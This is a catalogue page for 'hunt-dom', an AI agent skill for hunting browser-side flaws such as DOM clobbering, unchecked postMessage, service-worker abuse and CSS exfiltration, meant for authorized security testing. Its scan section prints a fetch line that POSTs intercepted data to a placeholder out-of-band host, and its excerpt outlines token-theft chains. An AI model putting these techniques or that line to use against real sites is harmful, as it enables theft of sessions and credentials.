hunt-dom

hunt-dom is a skill for Claude Code, Codex from uphiago/recon-skills. It costs 168 tokens per session (4,797 once invoked), scanned A, original, MIT.

A security-hunting guide for browser-side vulnerabilities, including attacks that manipulate HTML, cross-window messages, service workers, or CSS selectors.

In plain words
What is it for?
Use it to inspect DOM clobbering, postMessage origin checks, service-worker registration paths, and CSS-based data exfiltration.
Why use it?
It helps identify attacks that can run in a user’s browser and may bypass server-side filtering, such as unsafe message handling or token leakage through CSS.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to inspect DOM clobbering, postMessage origin checks, service-worker registration paths, and CSS-based data exfiltration.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/uphiago/recon-skills/hunt-dom
About the project

Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.

uphiago/recon-skills · 1,251 stars · on GitHub · hiago.sh

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add uphiago/recon-skills --skill hunt-dom
Clone the repo
git clone --depth 1 https://github.com/uphiago/recon-skills

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-dom

README.md
[![agentmods](https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-dom/github.svg)](https://agentmods.dev/skills/uphiago/recon-skills/hunt-dom)
Your own site
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-dom"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-dom/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for hunt-dom

Your own site · 80×15
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-dom"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-dom.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 168 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 4,797 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 3 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Prompt Injection · line 109
    Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
    Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
  • high Prompt Injection · line 123
    Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
    Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
  • medium Data Exfiltration · line 168
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00168 $0.04797
Opus 5 $0.00084 $0.02398
Sonnet 5 $0.00034 $0.00959
Haiku 4.5 $0.00017 $0.00480

Measured 7d ago against content hash cccbbb702c89, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

hunt-dom scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

fetch('https://OOB/sw-intercept', {method:'POST',

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -nE \
redteam/hunt-dom/SKILL.md · 313 lines

How it starts

The opening of the file, as written. The whole thing — 313 lines — stays where its author put it; the contents beside it link to each section on GitHub.

HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil

Crown Jewel Targets

DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.

Highest-value chains:

  • DOM Clobbering → DOM-XSS / auth bypass — HTML markup injection (no <script>) overwrites a JS global like window.config or shadows document.getElementById, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.
  • PostMessage no origin check → session theft / DOM-XSS — a message handler that trusts event.data without validating event.origin lets an attacker iframe/opener drive privileged actions or feed a sink.
  • Service Worker abuse — register a same-origin SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope fetch → persistent credential capture.
  • CSS Exfil — attribute-value selectors (input[value^="a"]) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.

Grounding — public research this is distilled from

  • DOM Clobbering / DOM-Invader — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
  • DOMPurify clobbering & mXSS bypasses — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
  • jQuery htmlPrefilter self-closing-tag XSSCVE-2020-11022 and CVE-2020-11023 (jQuery < 3.5.0). Passing attacker HTML to .html() / .append() mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.
  • CSS exfiltration — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential @import recursion to drop the per-char-position constraint).

Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for technique provenance, not severity inflation.

Read the full file on GitHub · 313 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 313 lines · 168 tokens per session scan A cccbbb702c89

Subscribe to this mod's changes

hunt-dom is a skill published in the GitHub repository uphiago/recon-skills (1,251 stars, last pushed 9d ago), licensed MIT. It adds 168 tokens to every session and 4,797 once invoked, about $0.0008 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

web2-vuln-classes

Complete reference for 26 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS, SSRF (11 IP bypass techniques), SQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10…

Awarexone/Agentic-Bug-Hunter · 351 tokens

implementing-cloud-dlp-for-data-protection

Implementing Cloud Data Loss Prevention (DLP) using Amazon Macie, Azure Information Protection, and Google Cloud DLP API to discover, classify, and protect sensitive data across cloud storage, databases, and data pipelines.

xalgorix/xalgorix · 54 tokens

auditing-gcp-iam-permissions

Auditing Google Cloud Platform IAM permissions to identify overly permissive bindings, primitive role usage, service account key proliferation, and cross-project access risks using gcloud CLI, Policy Analyzer, and IAM Recommender.

xalgorix/xalgorix · 51 tokens

auditing-terraform-infrastructure-for-security

Auditing Terraform infrastructure-as-code for security misconfigurations using Checkov, tfsec, Terrascan, and OPA/Rego policies to detect overly permissive IAM policies, public resource exposure, missing encryption, and insecure defaults before cloud deployment.

xalgorix/xalgorix · 59 tokens

detecting-compromised-cloud-credentials

Detecting compromised cloud credentials across AWS, Azure, and GCP by analyzing anomalous API activity, impossible travel patterns, unauthorized resource provisioning, and credential abuse indicators using GuardDuty, Defender for Identity, and SCC Event Threat Detection.

xalgorix/xalgorix · 55 tokens

detecting-misconfigured-azure-storage

Detecting misconfigured Azure Storage accounts including publicly accessible blob containers, missing encryption settings, overly permissive SAS tokens, disabled logging, and network access violations using Azure CLI, PowerShell, and Microsoft Defender for Storage.

xalgorix/xalgorix · 52 tokens